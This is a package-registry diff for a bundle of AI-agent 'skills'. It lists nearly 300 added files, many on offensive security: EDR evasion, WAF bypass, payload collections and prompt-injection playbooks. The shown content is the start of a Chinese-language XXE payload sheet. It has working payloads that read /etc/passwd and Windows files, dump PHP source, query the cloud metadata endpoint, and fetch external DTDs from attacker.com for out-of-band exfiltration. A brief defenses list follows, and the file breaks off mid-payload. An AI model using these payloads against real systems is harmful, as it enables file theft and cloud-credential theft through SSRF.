opencode-skills-collection 4.0.42 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (297) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +49 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/lore/SKILL.md +104 -298
  95. package/bundled-skills/lore/references/audit-template.md +21 -4
  96. package/bundled-skills/lore/references/compatibility.md +51 -121
  97. package/bundled-skills/lore/references/config.md +22 -23
  98. package/bundled-skills/lore/references/entry-format.md +33 -3
  99. package/bundled-skills/lore/references/history-command.md +98 -2
  100. package/bundled-skills/lore/references/platform-mirrors.md +45 -16
  101. package/bundled-skills/lore/references/stale-new-markers.md +10 -8
  102. package/bundled-skills/lore/references/summary-template.md +8 -1
  103. package/bundled-skills/lore/references/workflows.md +192 -0
  104. package/bundled-skills/lore/scripts/README.md +14 -13
  105. package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
  106. package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
  107. package/bundled-skills/lore/scripts/find_stale.py +68 -16
  108. package/bundled-skills/lore/scripts/history.py +235 -23
  109. package/bundled-skills/lore/scripts/id_hash.py +7 -4
  110. package/bundled-skills/lore/scripts/list_entries.py +82 -13
  111. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  112. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  113. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  114. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  115. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  116. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  117. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  118. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  119. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  120. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  121. package/bundled-skills/muapi-media/SKILL.md +311 -0
  122. package/bundled-skills/ot-ics/SKILL.md +117 -0
  123. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  124. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  125. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  126. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  127. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  128. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  129. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  130. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  131. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  132. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  133. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  134. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  135. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  136. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  137. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  138. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  139. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  140. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  141. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  142. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  143. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  144. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  145. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  146. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  147. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  148. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  149. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  218. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  219. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  220. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  221. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  222. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  223. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  224. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  225. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  226. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  227. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  228. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  229. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  230. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  231. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  232. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  233. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  234. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  235. package/bundled-skills/poka-yoke/SKILL.md +172 -0
  236. package/bundled-skills/project-state-governor/SKILL.md +1 -1
  237. package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
  238. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  239. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  240. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  241. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  242. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  243. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  244. package/bundled-skills/radare2/SKILL.md +460 -0
  245. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  246. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  247. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  248. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  249. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  250. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  251. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  252. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  253. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  254. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  255. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  256. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  257. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  258. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  259. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  260. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  261. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  262. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  263. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  264. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  265. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  266. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  267. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  268. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  269. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  270. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  271. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  272. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  273. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  274. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  275. package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
  276. package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
  277. package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
  278. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  279. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  280. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  281. package/bundled-skills/thick-client/SKILL.md +104 -0
  282. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  283. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  284. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  285. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  286. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  287. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  288. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  289. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  290. package/bundled-skills/windows-ad/SKILL.md +109 -0
  291. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  292. package/package.json +1 -1
  293. package/skills_index.json +1281 -3
  294. package/bundled-skills/lore/README.md +0 -386
  295. package/bundled-skills/lore/README.zh-CN.md +0 -386
  296. package/bundled-skills/lore/WORKFLOWS.md +0 -216
  297. package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
@@ -0,0 +1,815 @@
1
+ # XXE实体注入
2
+
3
+ _9 条 web payload_
4
+
5
+ ### XXE基础攻击 `xxe-basic`
6
+ _XML外部实体注入基础攻击技术_
7
+ 子类:**基础攻击** · tags: `xxe` `xml` `external` `entity`
8
+
9
+ **前置条件:**
10
+ - 存在XML解析功能
11
+ - 外部实体未被禁用
12
+
13
+ **攻击链:**
14
+
15
+ **1. 探测XXE**
16
+ > 基础XXE测试
17
+ ```
18
+ <?xml version="1.0"?>
19
+ <!DOCTYPE foo [
20
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
21
+ ]>
22
+ <root>&xxe;</root>
23
+ ```
24
+ **语法解析:**
25
+ - `DOCTYPE` — 文档类型声明 _value_
26
+ - `ENTITY` — 定义实体 _value_
27
+ - `SYSTEM` — 引用外部资源 _value_
28
+ - `&xxe;` — 引用实体 _value_
29
+
30
+ **2. 读取文件**
31
+ > 读取Windows文件
32
+ _platform: windows_
33
+ ```
34
+ <?xml version="1.0"?>
35
+ <!DOCTYPE foo [
36
+ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
37
+ ]>
38
+ <root>&xxe;</root>
39
+ ```
40
+ **语法解析:**
41
+ - `file://` — 文件协议 _method_
42
+ - `<!DOCTYPE>` — 文档类型声明 _tag_
43
+ - `<!ENTITY>` — 实体定义 _tag_
44
+ - `SYSTEM` — 外部实体引用 _keyword_
45
+
46
+ **3. 读取PHP源码**
47
+ > 使用PHP Filter读取源码
48
+ ```
49
+ <?xml version="1.0"?>
50
+ <!DOCTYPE foo [
51
+ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
52
+ ]>
53
+ <root>&xxe;</root>
54
+ ```
55
+ **语法解析:**
56
+ - `php://filter` — PHP伪协议 _value_
57
+ - `convert.base64-encode` — Base64编码 _value_
58
+
59
+ **4. SSRF攻击**
60
+ > 利用XXE进行SSRF
61
+ ```
62
+ <?xml version="1.0"?>
63
+ <!DOCTYPE foo [
64
+ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
65
+ ]>
66
+ <root>&xxe;</root>
67
+ ```
68
+ **语法解析:**
69
+ - `169.254.169.254` — 云元数据IP _domain_
70
+ - `<!DOCTYPE>` — 文档类型声明 _tag_
71
+ - `<!ENTITY>` — 实体定义 _tag_
72
+ - `SYSTEM` — 外部实体引用 _keyword_
73
+
74
+ **WAF/EDR 绕过变体:**
75
+
76
+ **参数实体**
77
+ > 使用参数实体绕过
78
+ ```
79
+ <?xml version="1.0"?>
80
+ <!DOCTYPE foo [
81
+ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
82
+ %xxe;
83
+ ]>
84
+ <root>test</root>
85
+ ```
86
+ **语法解析:**
87
+ - `%` — 参数实体引用符 _operator_
88
+ - `%xxe;` — 引用参数实体 _variable_
89
+
90
+ **编码绕过**
91
+ > 使用编码绕过
92
+ ```
93
+ <?xml version="1.0" encoding="UTF-16"?>
94
+ 使用不同编码绕过WAF
95
+ ```
96
+ **语法解析:**
97
+ - `<?xml` — 命令/关键字 _command_
98
+
99
+
100
+ **概述:** XXE(XML External Entity)注入利用XML解析器处理外部实体引用的特性,通过定义恶意实体引用来读取服务器文件、发起SSRF请求、甚至在特定环境下执行远程代码。
101
+
102
+ **漏洞原理:** XXE漏洞源于XML解析器默认启用外部实体处理。攻击者在XML输入中声明SYSTEM或PUBLIC实体指向本地文件(file://)或网络资源(http://),解析器会自动获取并替换实体内容,导致文件读取和SSRF等危害。
103
+
104
+ **利用方法:** 完整利用流程:
105
+ 1. 找到XML输入点
106
+ 2. 注入外部实体声明
107
+ 3. 读取敏感文件
108
+ 4. 或发起SSRF攻击
109
+
110
+ **防御措施:** 防御措施:
111
+ 1. 禁用外部实体处理
112
+ 2. 禁用DTD处理
113
+ 3. 使用安全的XML解析配置
114
+ 4. 输入验证
115
+
116
+ ---
117
+
118
+ ### 盲注XXE攻击 `xxe-blind`
119
+ _无回显的XXE攻击技术_
120
+ 子类:**盲注XXE** · tags: `xxe` `blind` `oob` `xml`
121
+
122
+ **前置条件:**
123
+ - 存在XML解析
124
+ - 无直接回显
125
+
126
+ **攻击链:**
127
+
128
+ **1. 外部实体探测**
129
+ > 使用外部实体探测
130
+ ```
131
+ <?xml version="1.0"?>
132
+ <!DOCTYPE foo [
133
+ <!ENTITY xxe SYSTEM "http://attacker.com/xxe">
134
+ ]>
135
+ <foo>&xxe;</foo>
136
+ ```
137
+ **语法解析:**
138
+ - `DOCTYPE` — 文档类型声明 _value_
139
+ - `ENTITY` — 定义实体 _value_
140
+ - `SYSTEM` — 外部系统资源 _value_
141
+ - `&xxe;` — 引用实体 _value_
142
+
143
+ **2. 参数实体**
144
+ > 使用参数实体
145
+ ```
146
+ <?xml version="1.0"?>
147
+ <!DOCTYPE foo [
148
+ <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
149
+ %xxe;
150
+ ]>
151
+ <foo>test</foo>
152
+ ```
153
+ **语法解析:**
154
+ - `%` — 参数实体标识符 _operator_
155
+ - `%xxe;` — 引用参数实体 _variable_
156
+
157
+ **3. OOB外带数据**
158
+ > OOB外带文件内容
159
+ ```
160
+ <?xml version="1.0"?>
161
+ <!DOCTYPE foo [
162
